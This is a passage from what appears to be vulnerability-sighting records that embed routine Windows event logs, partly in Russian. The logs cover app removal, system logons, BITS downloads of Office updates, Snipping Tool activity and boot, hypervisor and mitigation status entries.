deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12126", "author": {"login": "automation"}}, {"uuid": "2fd277cd-767b-43c9-ae0c-a66c56211d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:58:37.140149+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/1e11ee6c9642a5411cad5d6858526fc7", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 